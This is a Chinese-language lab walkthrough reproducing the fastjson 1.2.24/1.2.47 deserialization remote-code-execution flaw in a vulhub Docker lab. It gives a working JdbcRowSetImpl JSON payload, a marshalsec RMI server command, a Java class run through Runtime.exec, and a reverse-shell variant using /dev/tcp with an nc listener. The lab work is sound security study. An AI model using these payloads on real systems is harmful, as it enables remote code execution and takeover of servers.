fastjson漏洞复现
fastjson漏洞原理简介
若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。
原理(流程):
-
攻击者访问目标网站,通过burpsuite抓包,以json的格式添加 JdbcRowSetImpl 恶意类信息,发送给目标机。
-
目标机在反序列化的时候,加载攻击者构造的 JdbcRowSetImpl 恶意类(访问rmi服务器),rmi 给靶机下发命令
-
目标机得到rmi服务的响应,去执行 dnslog 类(攻击者写好上传给靶机的)
靶机环境搭建
kali(192.168.1.106) :安装rmi服务,同时也作为目标机
物理机:作为攻击者
漏洞探测
利用burpsuite抓包,看返回的内容
错误的fastjson格式会被指出
发送一个错的数据包
正确的数据包发送
可以看到物理主机对docker的连接
漏洞利用
docker 搭建靶机
搭建docker,给fastjson提供运行的环境,也就是搭建靶机环境
//安装docker
apt-get install docker
apt-get install docker-compose
reboot
service docker start
//安装maven
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
//配置maven的环境变量
vim /etc/profile
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
mvn -version 检验maven是否安装成功
//安装vulhub项目(其中附带fastjson漏洞复现场景)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
cd fastjson //进入fastjson
cd 1.2.24-rce
docker-compose up -d //启动fastjson项目。在浏览器中输入---IP地址:8090
cd 1.2.47-rce
docker-compose up -d
ifconfig
同时在我们的物理主机上也能访问(输入eth0的IP即可)
编译恶意类
javac dnslog.java
用python 启动http服务要在 dnslog所在的目录
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "touch /home/kali/success.txt"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
启动HTTP服务
在 kali 上启动HTTP服务,保证客户能够访问上述页面,设置监听的端口为9998
能够监听到用户的请求,黑客发起请求,让目标服务器执行,访问rmi服务器(本案例将rmi服务器也放在了kali上)
python -m SimpleHTTPServer 9998
注意:dnslog.java
启动rmi服务
在实际情况下,rmi服务器和 目标靶机是分开的
(在第二张图中)RMIRefserver 后面的内容是 rmi 定义的rmi服务器的地址,还有制定远程加载类 dnslog
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests #编译此项目
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.106:9998/#dnslog" 9999
发送数据
访问 192.168.1.106:8090 ,burpsuite抓包
携待数据发送,就必须将GET 改为 POST
发送 数据的被目标机接收后,目标机会请求rmi服务器,rmi服务器的dnslog文件中定义了目标机要执行的命令,目标机收到这些命令后就会执行。
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.106:9999/dnslog",
#攻击者要通过目标机 去rmi服务器查找dnslog文件,然后rmi服务器转发请求给目标服务器
"autoCommit":true
}
}
可以看到物理主机对docker的连接。
此外,如果没有下面连接的提示,可以重新尝试
下面的IP地址输入错误,应该是 192.168.1.106:9998/#dnslog
下面的Exploit.class是我 执行的另一个类。
利用fastjson漏洞反弹shell
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell好文:https://zhuanlan.zhihu.com/p/138393396
- 只需要将poc中的内容做更改即可
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/目标机IP/端口号 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
# kali中反弹shell命令
# sudo sysud64 -uroot /bin/bash -c “/bin/sh -i >& /dev/tcp/192.168.1.106/4444 0>&1”
-
在kali(目标机)上启动http,
-
在kali(rmi服务器)上启动rmi服务
-
在kali(rmi服务器)上监听端口
nc -lvnp 4444 #kali上(rmi服务器)监听4444端口